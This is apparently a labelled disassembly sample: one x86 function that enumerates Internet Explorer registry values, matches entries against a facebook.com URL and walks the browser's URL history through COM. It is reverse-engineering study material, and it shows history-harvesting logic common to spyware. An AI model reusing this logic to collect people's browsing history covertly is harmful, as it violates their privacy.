Function at 0x40d0d1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xd80c
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.Explorer
push str.Internet
push str.Microsoft
push str.Software
push 0x6c784c
mov edi, 0x3e8
mov dword [ebp - 0xd7cc], ecx
lea eax, [ebp - 0x890]
xor ebx, ebx
push edi
push eax
mov dword [ebp - 0xd7bc], ebx
call fcn.00402e0a
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0xd7d4]
add esp, 0x1c
push eax
push 9
push ebx
lea eax, [ebp - 0x890]
push eax
push SysReAllocString
call esi
test eax, eax
jne 0x40d58b
push str.orage
push 0x6c7860
push str.elliFo
push 0x6c786c
push str._s_s_sSt_s2
lea eax, [ebp - 0xc78]
push edi
push eax
call fcn.00402e0a
add esp, 0x1c
lea eax, [ebp - 0xd7c8]
push eax
push 9
push ebx
lea eax, [ebp - 0xc78]
push eax
push dword [ebp - 0xd7d4]
call esi
test eax, eax
jne 0x40d58b
xor ecx, ecx
mov dword [ebp - 0xd7c4], 0x400
push ecx
push ecx
push ecx
push ecx
lea eax, [ebp - 0xd7c4]
mov edi, ecx
push eax
lea eax, [ebp - 0x4a8]
push eax
push ecx
push dword [ebp - 0xd7c8]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
cmp eax, 0x103
je 0x40d241
lea esi, [ebp - 0xd798]
test eax, eax
jne 0x40d23b
lea eax, [ebp - 0x4a8]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x40d208
cmp ebx, 0xfa
jae 0x40d23b
lea eax, [ebp - 0x4a8]
push eax
push 0x80
push esi
call fcn.006494f3
add esp, 0xc
inc ebx
sub esi, 0xffffff80
xor eax, eax
mov dword [ebp - 0xd7c4], 0x400
push eax
push eax
push eax
push eax
lea eax, [ebp - 0xd7c4]
inc edi
push eax
lea eax, [ebp - 0x4a8]
push eax
push edi
push dword [ebp - 0xd7c8]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
cmp eax, 0x103
jne 0x40d1d1
mov dword [ebp - 0xd7bc], ebx
push dword [ebp - 0xd7c8]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
push dword [ebp - 0xd7d4]
call esi
cmp ebx, 1
jb 0x40d58b
push 0x68
pop edi
mov esi, str.http:__www.facebook.com_
mov dword [ebp - 0xd7d8], edi
push ecx
lea edx, [ebp - 0x4a8]
mov ecx, esi
call fcn.0040547e
pop ecx
lea eax, [ebp - 0x4a8]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x40d2d5
lea edi, [ebp - 0xd798]
mov dword [ebp - 0xd7dc], ebx
lea eax, [ebp - 0x4a8]
push edi
push eax
call fcn.0064fd85
pop ecx
pop ecx
test eax, eax
jne 0x40d2c1
mov ecx, dword [ebp - 0xd7cc]
lea eax, [ebp - 0x4a8]
push esi
push eax
call fcn.0040cde4
sub edi, 0xffffff80
sub ebx, 1
jne 0x40d29b
mov ebx, dword [ebp - 0xd7bc]
mov edi, dword [ebp - 0xd7d8]
add esi, 0x200
sub edi, 1
mov dword [ebp - 0xd7d8], edi
jne 0x40d26e
push 0x13
pop ecx
mov esi, str.3C374A40_BAE4_11CF_BF7D_00AA006946EE
and dword [ebp - 0xd7c0], 0
lea edi, [ebp - 0x58]
rep movsd dword es:[edi], dword [esi]
push 0x13
pop ecx
push 0
movsw word es:[edi], word [esi]
mov esi, str.AFA0DC11_C313_11D0_831A_00C04FD5AE38
lea edi, [ebp - 0xa8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call dword [sym.imp.ole32.dll_CoInitialize]
mov esi, dword [sym.imp.ole32.dll_CLSIDFromString]
lea eax, [ebp - 0xd7b8]
push eax
lea eax, [ebp - 0x58]
push eax
call esi
lea eax, [ebp - 0xd7a8]
push eax
lea eax, [ebp - 0xa8]
push eax
call esi
lea eax, [ebp - 0xd7c0]
push eax
lea eax, [ebp - 0xd7a8]
push eax
push 1
push 0
lea eax, [ebp - 0xd7b8]
push eax
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x40d585
mov eax, dword [ebp - 0xd7c0]
lea edx, [ebp - 0xd7d0]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
js 0x40d579
jmp 0x40d549
cmp dword [ebp - 0xd804], 0
je 0x40d549
push dword [ebp - 0xd804]
lea eax, [ebp - 0x5a98]
push 0x2710
push eax
call fcn.006492a3
add esp, 0xc
lea eax, [ebp - 0x5a98]
push eax
call fcn.00648cfd
pop ecx
inc eax
push eax
lea eax, [ebp - 0x5a98]
push eax
call fcn.0065173e
lea eax, [ebp - 0x5a98]
push 0x3f
push eax
call fcn.00639a57
add esp, 0x10
test eax, eax
je 0x40d3dc
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x5a98]
push eax
call fcn.00648cfd
pop ecx
cmp word [ebp + eax*2 - 0x5a9a], 0x2f
jne 0x40d410
lea eax, [eax*2 - 2]
cmp eax, 0x4e20
jae 0x40d59a
xor ecx, ecx
mov word [ebp + eax - 0x5a98], cx
push 0x6c7928
call fcn.00648cfd
pop ecx
push eax
lea eax, [ebp - 0x5a98]
push 0x6c7928
push eax
call fcn.00651846
add esp, 0xc
test eax, eax
je 0x40d45c
push 0x6c7938
call fcn.00648cfd
pop ecx
push eax
lea eax, [ebp - 0x5a98]
push 0x6c7938
push eax
call fcn.00651846
add esp, 0xc
test eax, eax
jne 0x40d549
push ecx
lea edx, [ebp - 0x4a8]
lea ecx, [ebp - 0x5a98]
call fcn.0040547e
pop ecx
lea eax, [ebp - 0x4a8]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x40d549
mov edi, ebx
lea esi, [ebp - 0xd798]
mov ebx, dword [ebp - 0xd7cc]
lea eax, [ebp - 0x4a8]
push esi
push eax
call fcn.0064fd85
pop ecx
pop ecx
test eax, eax
jne 0x40d4bb
lea eax, [ebp - 0x5a98]
mov ecx, ebx
push eax
lea eax, [ebp - 0x4a8]
push eax
call fcn.0040cde4
sub esi, 0xffffff80
sub edi, 1
jne 0x40d493
mov ebx, dword [ebp - 0xd7bc]
lea eax, [ebp - 0x5a98]
push 0x6c794c
push 0x2710
push eax
call fcn.00650f62
pop ecx
pop ecx
lea edx, [ebp - 0x4a8]
lea ecx, [ebp - 0x5a98]
call fcn.0040547e
pop ecx
lea eax, [ebp - 0x4a8]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x40d549
mov edi, ebx
lea esi, [ebp - 0xd798]
mov ebx, dword [ebp - 0xd7cc]
lea eax, [ebp - 0x4a8]
push esi
push eax
call fcn.0064fd85
pop ecx
pop ecx
test eax, eax
jne 0x40d53b
lea eax, [ebp - 0x5a98]
mov ecx, ebx
push eax
lea eax, [ebp - 0x4a8]
push eax
call fcn.0040cde4
sub esi, 0xffffff80
sub edi, 1
jne 0x40d513
mov ebx, dword [ebp - 0xd7bc]
mov eax, dword [ebp - 0xd7d0]
lea edx, [ebp - 0xd7e0]
push edx
lea edx, [ebp - 0xd808]
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x40d380
mov eax, dword [ebp - 0xd7d0]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xd7c0]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
call fcn.00612782
int3